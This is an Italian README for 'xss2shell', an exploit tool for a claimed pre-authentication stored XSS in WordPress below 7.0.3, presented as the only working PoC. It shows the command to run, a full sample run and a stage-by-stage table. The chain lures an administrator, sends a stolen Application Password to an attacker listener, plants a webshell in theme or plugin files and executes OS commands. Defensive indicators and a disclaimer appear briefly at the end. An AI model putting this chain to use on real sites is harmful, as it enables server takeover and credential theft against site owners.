
CVE-2026-64638 | WordPress < 7.0.3 XSS memorizzato pre-autenticazione → RCE
Ogni PoC pubblico per questa CVE è rotto. Questo funziona.
WordPress < 7.0.3 non sanifica il parametro log (username) in wp-login.php. Il valore viene memorizzato e renderizzato all'interno della sessione autenticata dell'amministratore — una XSS memorizzata pre-auth che si concatena alla completa compromissione del server con un singolo clic.
Victim clicks lure ---> XSS fires ---> App Password stolen ---> Shell planted ---> RCE
# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php
============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.
usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]
-t, --target Target WordPress URL
-c, --command OS command to execute on the server
--lhost Attacker callback IP (default: auto-detect)
--lport Attacker callback port (default: random)
--keep Don't clean up artifacts after exploitation
| Fase | Azione | Dettaglio |
|---|---|---|
| 1. XSS | Iniezione tramite wp-login.php | Il parametro log appositamente costruito con DOM clobbering (<area id=ajaxurl>) dirotta l'URL AJAX di WP, effettuando automaticamente il click sull'approvazione della Password dell'Applicazione tramite JSONP |
| 2. Furto | Esfiltrazione della Password dell'Applicazione | authorize-application.php crea silenziosamente una Password dell'Applicazione; success_url la invia all'attaccante |
| 3. Shell | Scrittura di una webshell (3 fallback) | Editor dei temi → functions.php · Caricamento plugin → xss2shell/shell.php · Editor dei plugin → file di un plugin esistente |
| 4. RCE | Esecuzione di comandi del sistema operativo | La webshell esegue shell_exec(), restituisce l'output in JSON, lo strumento verifica automaticamente e pulisce |
| Versione | Stato |
|---|---|
| WordPress < 7.0.3 | Vulnerabile |
| WordPress >= 7.0.3 | Corretta |
| Condizione | Impatto |
|---|---|
DISALLOW_FILE_EDIT | Editor dei temi/plugin bloccati — funziona solo il caricamento ZIP |
DISALLOW_FILE_MODS | Tutti e 3 i metodi bloccati — nessuna RCE |
| WAF (Cloudflare, Wordfence) | Può filtrare il payload XSS o le richieste della webshell |
disable_functions in PHP | shell_exec bloccato — output vuoto |
| Blocco dei pop-up | Interrompe la catena di pop-up |
| Header CSP restrittivi | Bloccano JS inline o fetch cross-origin |
Cerca questi indicatori se xss2shell è stato utilizzato contro il tuo sito:
XSS2Shell-Poc-Wordsecxss2shell in wp-content/plugins/xss2shell_cmd in functions.php o in qualsiasi file di plugin/?rest_route=/&_method=GET&_jsonp=Ogni PoC pubblico per CVE-2026-64638 si ferma a alert(1) o richiede passaggi manuali che nessun triager può riprodurre. Questo strumento offre lo sfruttamento completo della catena con un singolo comando — da zero autenticazione a RCE. Creato per i ricercatori di sicurezza che necessitano di prove, non di teoria.
Solo per test di sicurezza autorizzati e scopi educativi. Utilizzare esclusivamente contro sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta al test. L'accesso non autorizzato a sistemi informatici è illegale.
WordSec · CVE-2026-64638 · Corretta in WordPress 7.0.3